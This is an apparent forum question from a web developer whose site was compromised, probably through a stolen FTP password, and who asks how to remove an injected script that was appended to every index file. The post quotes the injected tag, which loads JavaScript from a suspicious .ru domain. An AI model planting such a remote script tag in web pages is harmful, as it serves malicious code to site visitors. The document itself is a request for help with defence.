The computer that I do my most webdevelopment work with caught a virus. A website that I am currently working on was compromised(I think by phpDesigners stored FTP password).
I currently get :
<script type="text/javascript" src="http://obscurewax.ru/Queue.js"></script>
<!--[some-random-number-here]-->
right at the end of every file that has the name starting with index on that domain.
currently I am combing through each and every file on the server with the name index(and others randomly) for this change and removing it, but this is a lengthy process and I am not sure if this is the right/entire fix for it.
What is the best way to deal with this type of a scenario?
(The virus on the PC has be cleaned)